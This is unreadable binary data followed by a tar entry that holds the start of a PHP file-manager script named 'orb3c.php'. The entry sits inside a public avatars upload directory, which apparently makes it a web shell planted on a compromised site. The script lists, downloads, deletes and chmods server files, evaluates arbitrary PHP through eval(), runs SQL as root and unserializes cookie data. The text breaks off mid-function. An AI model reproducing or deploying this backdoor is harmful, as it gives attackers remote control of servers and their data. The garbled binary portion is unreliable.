l�/�؂�<�
����L3�����Vg��o�Jb�Ot
��A5]�uƳ��k��l��|BNv��v�yR�����i$.���qԝ#Q]i	�j|�h���y���[9�i�?�J5���6��Hs��F�C-�ᄂ�jK1�*v�U�[̤��lW�}�:�Ng��N���,���Ul�X�g�i �HZO��s[M����AO��v3�j��C��KA�yIK��6�Xkݫ&WR�ʶ�[���8���Bn�R�b�~�_=�Å�cQ	��6��=O��s����:�~ �K��D��bi�،T*��WY���.��F��l_�B,�~���Z�
ɡ������<H�M@�ͅ�Vuxz.�}�F�ϳ٨��T\���s=����Ri��T��W�6Z�^��q|;�%'ѝ�{�E��pxR^:�S5�
�*�J+Q]K3_!��%69e�
�g�Q���mj��v1��}�D��=�~o��BB03)g��F'3�����5�4򮶫+͇p4:�M�E	��j�H���Xل#O����qG(>G��0���k�u��p�k<���&=�Qe,W��o)F��U9��4cω�7��������v���UuU���k�EX���BI�Bp#p�ͺYXl�Ee\Rk�^�U�j��M��^.3�����w/��$e�RIdU�X
嫃�8ZKLG���,&����U�Uj/�qVXL+ۧ\{��K��X�J�L>uk�i/��/�q�W�|):�v��lܯ��/���K�����J�ӫ �Y_��NA��;�A��N�c�]�\�q�$���n��V�jt��XV˫�f�W-��Jg�_j\R)�Qu��
�Z�lۅr���Yn��2T��;��Z�D��P	̅iPu♝\�h���h���0փ�/ȷ�#�C}��pY���Н��q�_�:��H?Lf���)�^��Xr�����1����h?��3���G�!~����&���JtX-WW�Q�����\=n��W��`s�yn�}�z(�Ux����W�7�c-�~����K|f[�ǵ�uҝN5����ڣ/�~���+)2C��\��}ж��f�
<�6�P0.���p��hN�]%Զ[��]��.P����Io_���M�A�Ɔ��0;r-���m\���d��e�WB��|]��5_k��lk%6��_�%%�H��\tx.̢�u��{��X�Қ���}d��z��P�G��\_Vz�h���}�/�h��WVD�h�[�^������ڭN|�:_&b����	v��j%��TYq�2pqi%(���c��PM�d%M4�lP{j�0�Vc}vXH��Â��8L��U<�:���P�����V�g�pw�y�}��d~H.7�(�|4�Aq�}~F�ep�I�2]��V�\��H���֒��p%�z"9��Xgc"��V�mw=\O:���Mro��Ekl�u7c%��סD?��|����t�km�:���ZN&�[�F����$�;�@y�n�)�ȧ��=[|�Wx�u��T{h�sl�9�fc��"�<���-�[xW[h%�IX����ڨ��4�	�t�+�]��/�VHm���0��z�=K�-_o$��p4�֭ծ�}�p"]�$��c������S�3Ȋ�q=���`PM�{���0�v�e��(fr|��Y@�~�1L�C�䶳����ݍJ�H Vf�}��F�4����Z��e}��XCl��c.�	�p����jxU
h ���VM��O��o0l���0�-����
h�M+T��{�t���+vF�J3V��P!�s�|r�{��c�u}�i?�K�:�ع�DK��ZhV���v2��Hr-��=�kf���h�5|Y6�h%�����o��*�u4Z�b�=��֫@�\LN���4�*�_K�Z���KwUo�뭗ª�� u�5��[Q++��f5��Z�q��vZ���F�r�^#٭�*aiY�I�jf�P)�I�R�1,�;�7�]=�����
//IN�)�l!S�ˊ\ډ������\���~Q-
�z
����j;�*�:�,��O��sB�鴠�C�֦r���$��q7S�ɉ��==��a~�f��,\�#��njm7�N{���Y�5m���l��K-!�L����;�v�?� �A����a����;�v�?� �A�iv��(���C��LbJ� ���۪gĢ����m���ҥy@�f�q�.>�-�F�}+�)=�ӂ����Ӯ�}�䷅qf�K�%�F])'ϒ�d�+v�H����ƗL���(�Ȯ�>���&�a)�f��}n�H�'s����
Z
�3JR�#��6�@h���Rw.$r��K�I����)?
;��@Aȕ�ʠ�8�ɦ���iFry�,?q}����O})�c7�_�J\	��2�i��D��d#�η�� �y&C��6{؇�
�7Y.���%�ת&����By��jս2�FZ>�	d�����
�g�ܤ�lW�����[�i{.L2��n-��Ó�ɗ���\�>u�ؖ�šTZ�Fl!~�E��Q���4��bf9T&��?���|\,�^���p(�r�P4��4�m�i�o7_:�jQ��Ҫ��-���f��>�ב2Z)��ǘT�L�T���a)����^���}�?�����2����%?��3y�O?��5�_��ŧ�coVJ���|�a)��B0:~�(Zv+���Qw<j����H���"�}�*��8)��w��N(u��`Wy	�>9�Tsa�m_}	>])Ɵ�N��~�K��2���/Ν�UԞr�ώ4�p�Ѹ� ����7�
�I'AC�biΪ������ ��m�%w✗��(�!y����Ճܧ����>�!i�&���U2�J�~�h���_rc�(צE��|k%�TǺ�>��,�XZڷw�s��i�K�j���L��̮R�s��c���O����N6�Xv����i���v/��b^�E�h�����U;y���/�x�Z�U�P_|�#�ò��YTx�T�]��*�El�4�k�!��
�y�gW�uXIVW�l&�섢\p�y��q�Ml�����6b�Q�$�"�[�Ni��#[TF��:�ψo��B,
>V�|�j�N�7��U��J>��UEܔ��D�����z����DK=�2{H��@";��9>����\�ګ^ħD�!_Be7�E%̇�m�%8,V96����� �l?���xy����MiY�*Dn�W_b��UM��*�O�d�,kC��J�y���B��4^�B&��{l�qx�Z,�mNK��X9��U����YO��x�i�:Xp�/B�L�<Z������%t�E�2�d_���F���Pa׫g2�bR�53�}��ugݗFt0�͞��=6�v�P���/�s]�==mŹ�|./�Г��U'��f��:�Ǯ�[�l=M
�l^ˌ�n�1��V��C(>�Ʀ�̶++M���E�Co:ճ�NkZ�i�V�Dz��Ӝ��
�\`��wҾ�����$��2�@r����lv�]�8	�Kـ\����hN׍��)g����C���^��R����^1�W��^c����\q�eB�^/��˕��o[��+��Z�=��Ja7]nZba��Wk��H�����=7Ѻ��&=�L�Nt��r-�lwj�r4�-�RD��e.�"ǨE$%�j�m���m<Xl�`������pM���'����f�w7�ɜv;��!�;���c�XN�V��$�UH���8pꮧ�����W�����Qȣ���O��E�}O��Ïa���ǁ[o�S����v����9v�G?_��%98�/��2���w��a��LY���_~9~ ��Y@�8�k����s�p���聘���w$��L��rOƱ3���ӄ�>Bs�	u�߀�E� !3�L?�C�4���5b�q�r�IH�QpT�z>����̌�k�$As�VA\&[��<�з��s|��-n�~�	�b�!��
{��8Mg��1L��q���F1�a˟E��M�X@5G_�,_~aU��C��
�1��D�^��K<+��X�������2F���@"J���l]��$��8p��Z#�'Pmg�N<�\%1[�݄��16땣���k��w4�)��m���!h�P�'OF��I>�Hl$M���q�5�?K�;�ӃM�"�H���9���)��ǟ%*���n��X ���?�����O<��D0��k�l�.�9�O��q�!\��7�g��.B�z��&�+���}�CDÃ�n�~q�J�˖藌j��9�.��fpLgW%T��#A'#,U��b���.i[�&GTՏ:T��yy�aܺ/���^�u�������h�0�kT�+����G���KG$��G���u�y���~a��q.�ق�<yY���w�̅F�hf?Oja���p���@H�8�a#Nl�h�X}ļ��x�@�D>@=�Þ�D�d;R��K��0�Tԡ��Rb	%���k�'X�z]��Aw���֏.Y�J���w��#PKN�#�%utQ�c�~�Dz����k_��S�N�{�y���:u_�Z��
�B�I_�K�R)����o����TsU�>�P,����ۄ�hE����3Ц9�big�y��\	�[��UZ7����W�}����"�
��%h�>?;���\LW�<ǐ�b)KQ!t<&�x��/��d�Ϙ���n�;w܈���aZw*�w�(�����nd���	�YisJ�B�"Nݝ_�dݲcd#�-��B"v�k8���p6l���R���V�6u$I���\�����m�⸋�E�Hd�,
p`Q�����!�1O?�n���T���_�yh���	*_��⩛%B�j:y��~�/}-A�
sG�c�}�|���h�]�Kqu��;
H�zG��x����&�—�^|f	�=�`�9��6A��	�*rk��O9��^,��>�����B� j0�
^��q!.U��ez�N�~�*�R�M%Lȧ;�ļ ��&neZ�fwEl�o���,8L�qR<��a��t6�[
J�̞�^�XI)����Ҁ�_=����S�u�f:\�l�J�:��#���Bb��F�C9AX�v�^���%aC�H�ԏĥ���t$�&6��S��Th�<GH�`$
c�x���@�sw$���%r%�X/�x��ȿ	��
�����������LnΜ.W7S\����	l�5��Ҕ'�a�ԹZ�t$�	z��6F~F�-t�T"�A�>�$�:�Y����D_��C��d�PY���Gu���p3q�4��;�Ec����1xqd��=����N5��d%`}':K�XC��%��3��@���.���ka�P�@�f8�ӕ��{mꍝ��~��:��|π�P7ub��L�4@���d
����e���U ���Q�L$���\��ă���	��|<,�����&	*ͮ3�� ^�ա`��]E�l����F,\>����:�{��
X�T4U"Yr��4���&��S.������
��V����җ8���6���`�f߳�~�����M9!�L��~
�1�,&Oc�ްF�?^��q���)9?(�N)��@cR�����H��л> �H6��/7�&�9���× �A���c��;@z)��C��H st�Cd�3K{�M��=��mt�+��w;��s�]�8i+r3�D�cy�lW̎����V<҈��1GK�
�Ͷ;:� C��2�,š_��1!��F�'p��KC��kz��������m����
�d7ʴ���P�}�N�]i^���8��ϑ���U3��8B�����,+)�l\�c�c��cm	.�ަ��|ȉ�+�9�@KUJ�a���f�삓\���-x���ܖ�0\�4�"���(r�M}�:��ݕM"u�������~�J���E+Jw��T[�w��Q�F|�ě���2�"I��+��-�.����X���
?F9��78�����>�C���ic,�;ܨg}w!�\�ZX
=u�)^��Քщ�\��(A��F�-��*i�4m�V�i$!��1�N���IC[�F�_��7b�)̼9�,�����s��[�yͽj'v*��`�ӵ<�^�
������Mc��&������!4
3F���w��2]���2�^���M7q��uҋͅ=�O|['���Fo.�Ml�KF�U9&$��{qa���R��/��WxS2�q�$YH�!X}~�qt�h�	*�6���7��Ř�ۭQ�2���r���:ao�+q�y��g����Ke��X�n$�6j�؃��E�C\co.�j�d�ȼ��oT���
�M�n��$�ƕy��5]�[P^�X�:^1����%"�Kt\UA7�����|ǂ�*d�f;���v �D p,2棛'�K�$[��ݹ۝[�C��������.��fp�uy�S,�`��n}��G����b�33 ����l���`u�����U�5.��������"�����-��1#i�(,��rx��E<�d�o���efk���&��ߣ�c$�ٿ��y���|�����Ǯ�S$�҃�e�B��w�|�Țwt
���z8�$�W���Q���k{C��<�D|��RX=�[��+����2�`��7�fe��Օ T�\�
`��ڃ:��qv�^�#��� ȽN�p��&�#��;��{T��
��|�W��{�~X��c�^�������ѧ7� 99�Z��N�4�?g�=�{><�=��i�h�k�ӻ�5t�7N�.�wZ�ݯ�$�ͫ_y� ��h=O��Rgx�s��k���j��|���J��j����U��u��VN��z��
�?V8��<��X�����0���]1p�NF��e���et�ؼA�<���{Ø���.��v�m���=��ݐ��<*�ǿgv�%���4C��T$����/���.hΫ��G����C,���W�7SMf�>��%���)�/���
���NՄ9<�2f�>x[(��
�M�EPws���S�@V��7s�'���9E`��9���d��E���w���=�pRW{8�/�ݹiŴ�
�1ћ.��#MEUA��G�N�"�Ri�N�V<n�O�����|�Y�U�z�b�w& �#AC��
�m��͠o��
�#�kn&��ij����4�= �)'�@u��3���Id�Cc�R^i���b..��]��e�$��Z�`Η$�KS��
���-:@j�F����M�������=>��h[#"VEY�����MQ�P)��d��W�|�=;K��֍N��Փ�e�O�j�Q��t�#�1ѹ���T
�*<Wj䳭Z���<�i��k񰞃O߾�7����X(2�#���:9��Y: �t�9w�uX����=�D��e���e��|�@�:�l�izg˂���[f���h�T�l�TeF]!)�Wfh�4��p�h�IS�87c�"�x���cF�„�	^�tJ>S�j�rߜ^�iz�+(�%�d#‚��gR��f�? ��??M�O#O�D��k�5.�d�Nv���b�9
��a�bB���D���ZLW*lpp0����!u���
��4\u���g�^,ą��r�\|�v���6��Bp`�]	*��+|//��ެ���­^3.���2
���J�JG}t	��a�d��fia
I���\�<��^�Q0���RB+�(f�J�sy��"�h5�&4T{�5�ș��p)��c��D��mrK��(n{X��c��f������(�?��?�Γ��/5�zj�­=�z`G�f�����S��\~@t����8/~�E�T��0+ɕ������cTfX�C}�����s���a+"��R���%a�
7c+�4�WdY�KS�o��S�[�"�ֶ���B��K�e���w�9>�v2#�&�Kι���Ya��3�RGȣޙ���x��.l��W���wC4y^�tT�0�G扪ac�;ɏ;z����va;����F�w��/�.p����iz��q��$7Rԯ�����jm꟥�E0�V��E�C���f����q����F���?���SLdt�f���s|�\�"��~)O>��P�=*�?���Ʒ�C�Ԭ���v���w�r<���5?�J��n���?a{5�:J�!4�!﷞_��Z��@O!�8�?7�v�KW�%:�ё�r��f����lǒ��'g�%����H
yoX���?�Aw�1��O?��
i�)櫙&.��s��)/�K5�}c�=?$7a��Sf���XFu�>��W����}|3$8+##�g8�7��|��P�;f,��*�H��G=�*z�Fb0�! =6O�dv%�Jo����}��h�DT8Qe2�����l��RYjL��K+��u���h�Y�3*�*3оW�(T�3t�����D�Zt:��c��$��x}��Qm����^�z,�
+ԛ��)�HŖ+����'�t��>������l�(-�R���86h�%�m��0	It	�+n$x��ě�D�m/��!���Q���Q}��z 勃��41*�1v���cQn�p+��[��G->,���~"w��=9s8\��ɩ�/=�k��E.>��	o%Z������Y�B?�N2O���GԠ�3X��SnFF�on�bٸґ�^}���/֣�`�'.:���+6�Cҝ����~�V��!Y�a�V?�;��[��i��H ���1|LLr�#=���δ8��0�H"�k�_����!A쁒��=h1h�|E��8��$
@���������ԗ���[�z����?���yv��ԧ��{3?��7IDS��b���_���ۜ�#\7H>��No�	�k���"�c 7o��/�`61?K�h�>��+:
/�|���my����A7�f��R�R�(��~��o��IZ���b�}�p��3��A�I�FՕ�x���MbX�Y~��
������1��]Cʵ�8�}G��r�a0�
Qe�����h���`�@`�����kb�g���j��x룙sjѢ֜�@4},��?6����Ɔn¡��F�xy���TTc��>��'��,���]�j���������$�Phꛇ���}��׈605��kM��%%��:��Yo>QP���
�P[�)��R$�pa�P�B��F0?;��ƷVq��f��#��C�:*e>���iу���p�#���H0�Q	��E`�3y�,�xf�$�{YR(ň�����,y$�K�튻3�s`���
.������>�_A���ߌ�e�f�>]�$�����K4��t��Ģ�
�wpFچ����:���c8wq�gp�����-�eR�$1>H�A��1'���m��
����C�Xs�Ȑ#���VB�_�78���-{~�x�����ðB�bV�x��	��x<��N_��f���	��v��S�s4O������gn�[���D���u+��[�ٝ]�}�-U��niD̹�(�����r�5*/�qI0�K=���͠��\Ds'�2H�M]j���($�>J>�9�����)�C=0q{����=7˖޻�?�q�i��eG�6^��y��)��nY�p�K�⾈ӡ�0��xbVQ���/��ujɠ_�E|���J�D)����7ذ`����=T#͉��⺋�g�2�:t��R[��DX?�����c8I����}/�cb=:
�ߵ�	R4�+�-��E�*�u(�rB���u�;H��Ss,�[u��:��@�g�	�n�V�Q{q��y�f�ˏ\���:�<��F?�+*k���\�gtu�{eh1��_t��xf��%�p��hxi��G�5$�+$K=P�3�Nr�j�wٵ�����o���}��2�u�	��O�ܠ.Ip.��<�#:�N���ѬV,�mיM ��3ۏs���T� �SAs�á�0W�H�#.ҙl._(>�˕�j��h�ڝ��n��xa8���l.ɋ��j��f����p$�'�>��&jW�kfp�����Am�]3#�{���o1蚁hЁ;���F���f�H�*��;�E䦵���5J0���|&�G��e	�|
�1��2�?3Q�W���"�<c�1)|�
�Ա�P7B���\��}�o�`2�j]
�#!�_�E�0�S�/�@Rob�ʇrP��UT�2>E�O�SX��0>�\1�[P�&؀���-���"�j��1J��!��3+�@����V^
sa—�Շ��P���_��I�����;�'0ƴ}f�S��Ǥ�&7��8FI�?��S�tM;��{����e_�X��+ݓ	W�C�c#�8��Qʱ

<3��|&��r�q��hVWo����C����p("��\����D�@��f��o�~Y����go��Hi@�"�����W�G�ʹ*3����-fɋ�L��<�}Pa�P?��*�M��m�O?>��J3k$�8|��UTDP��=��07{H��'�����+�����繀�xv#,W�����L &-~��
�M��AK�[���{O�M$�&���������B+��n�0�4F�S���Ӌ��\կ��e����y��k3�Y����܃�����7Y��V#&��q��;N�KH�����I˔��O��f�0��e�l�[\,,�<F�z�α�-��RZO�I��s���5� ~�i��}������c��ߐb0��+o��4�@�6��`�����0��5�Ԭ5�R���j�>�v�gO��t�q
��P&h}��G��E�8K�a��P8Xh�<�6G�[�#N�?ܤ��F�3��Xq�����
�.���<s����}k��H,�F?f��q�1�{4s����ɥx?9	ö�8��_����`���eJC�{�*-+4EPα�м=�ӄ��OU�,�3�6`���'���J��)�I�����ƹ)��.MT���W<��d���5t�磑�	)��m���x{�F�OH�	ʿ3�O,�q�Yȇ��1�k�~��u2�}�|'#���!�{��#�j���"a��3[�
[������9��]�����~Y������ϱ<�Kx�}F��k0V�OM�s��b蔦�\�%�9^�3�n�����7}|�>� �!
5п��d�MT�{�̼��]�^۞���������A��,��{��g��6�?l8�z�XV�^��LT5�u�����H��$�X���#'�]ҽ��%Bi�x���l����.�SB|�E�vȋ"�X�2�m����0����H7x��z��N�B��F������[�EA�X��˾f\>�)���C�sM�m��5
Ei|V���`�\�@��EG�����o6�hO<��b������:���sD�!5�x�HTc�A�[��S�c}�f����p((��P�+㮙h0de�h/�C+�A/���/J���˔���!�Ha:Mz�l���{��d6�>H"���frӕZk�G{zZ�@��
����B�-b{x��Bg�9{�-�����tvf9�k�R*閚����B�R�I��uk
`J�����Eȹ���L�����U�h�h�p����w��P��;���t�~`�'���Ne<�S�Bu!O����2;�+r����0�j��_���bs0C�f �=ŦX\����:���̤>AC2�k�n�H�gV�F���B���kH�6�ͪ���`Wꪏt+�7!<��(P��& 	�r���M�����0��&Me�`p��*~�tp�ܥ�7n�r���s�Q��㞜DZ�|�Owl����Գ�˹��܈(��J���7�jF��K+�ʐcF�_�e"������%J��5������I6ӥ��
u��5"�u�����fɮs�Bݝ��&?9���&�\w���n��.�/I$��������l����։�|��
X��Q�:�x�xIן������$I�^�&��K�#�0���4��D�
Ȇ��L���
��@�JQ��lhx��r�Q��:�ߌF;�V�D1���Uʈ�@V|���qci:[��o�`�ƱD��Dg�SA �l���+�2��#aز�"f9څ(�"W�Lrdv��d^�G͍���O�0�3�mQQp&+=��{�t�<��S��T��	Z�Q���|��V��?��D)�T����6�}��� ;�\L�ƕy���xz݊�5��/Qu4'W|�ko�88
k�sc
�9pK? 0���
$�J�)��X�e�Dbhd���9s��Y����h}��hN������߾&�A�U��	H�H���(���:�y��2�a-���>&���� :C��c�c�k&H�		t�&�~?I��R�\0N-�"��5�Y���H6:�.�m���t;2`����D�&
Ts�ŮEXA��Q�	c��di�ž�pƍ(luq�Q�03����j�o�0��m&ˊ��`ͥ�C�`>38�U�@�̋E9�?�P�h��N#�Q��FD1�����Q�ޙh>ܟ�2mF��:¡��wt*��:��lڞ������ul��|b����m�	n�&ѷ�(Nx�-U�A+��c�{��ô��C�F��>�3�u�~��:#��ax��k8*��x��Xv��C��=����XI��9M��ɏ�C?5S�}k���O����G,��FX���T띶�c`<�W�$��X;��8�CF^��<D�s��
Q�^o2O*�'Z�2<�0�&{����&��Ǫd�;���,��'z��T��?��g��;j~��n-KlY�f,"�̚.���l����I�]����O�����&�!���I׌9�3�������)�A��&s^�q�_��������Au�nʨs��e��ӓ�D3ĩ=݃��!N;�A�,�N�,lLr��USmV�<��XȌl��z��W�1�7}g19�d�g_4Q�̶b2$?^~�FJ
�uNF��ٹS�q�Q<-5��H��&h �D�^b�9S`}��rNQ@��$���v���e�	c�;�Xg����s��ۿ�
�n�>\�yS�u�U���L��~�q��U��#�,��qdG7���p�EЧplu5��+.�;I�ۀ��d�7F�m�"°��QQ�,;@޶�5�3�F�~PCbz�o3$oW.�,f��\�����D=�y����p~A�$�|�I�\X@��,�s#q�r!z���¡)%��xa=�&�BEIV����d�Π�;Cm����l���kZL\p��_?�툀0{J�	Ec����Blee��'����kն�9��l���z%cGf&yu���9�����[&$[>�[�4�����NVʑ[��d7��
&�K5{>����G놥������Ό�i:,�C.����$�N��d�Bh0�1`4�QH���{2��n���b���5ߑ����Q����g�Il��?�%:��L�w�H��]k0��
�����Յ"J�����`P�����P���a�;kpY�QT�l�4�����X�,�0Yn6X�yJ�3�5�*DӯP0Xqj��2�9��Ӈ�B��a-�4B2�N$����!j�fD
nj�7>,�}wt%�̄��1�ߩ1B�����9�~��P��T��,%qp0`>�
��&�vz��]x�[��WV#4G�=�?�-�N��asj#=�m�-�oM����	����Aӄ�������������1J2��������5@@G�TP�]�oR~`��P-7����h+�r::�y�O��Ɖ�3���إ\�k��;DC��.��Cm��-;�F=�
jGc^�������{�d�����E1��c��S�ϯۨ8=?��,��&���	K5N�{�&�������V~H|���,.����ϲVpq�su���Cӽ��)��M�cjb�}^�7P��Z�]D����%u��t�M_��rul2�8n��[���'��ex:�&��ܬ���(�nZ��+��*>��蛵��Qg=�ŋ�8/�F���<�b���5��!�]����)�`�O��E�2l�����#:��o�g�?�c@�#5p�B�]�1\��K'��^��}ԭ�U�gmsq�� u��3xo�Iˤp0�-�����l�)�����y�`�a
�w��#����n��{�a�#�M����������u-�JV�~�Y�=y
wk�#�a�j&�Q���B���?������?��XҪ�@orb3c.php.tar000064400000240000000000000000007007 0ustar00var/www/html/back/storage/app/public/avatars/10/4yd0ui/orb3c.php000064400000234756000000000000020230 0ustar00<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
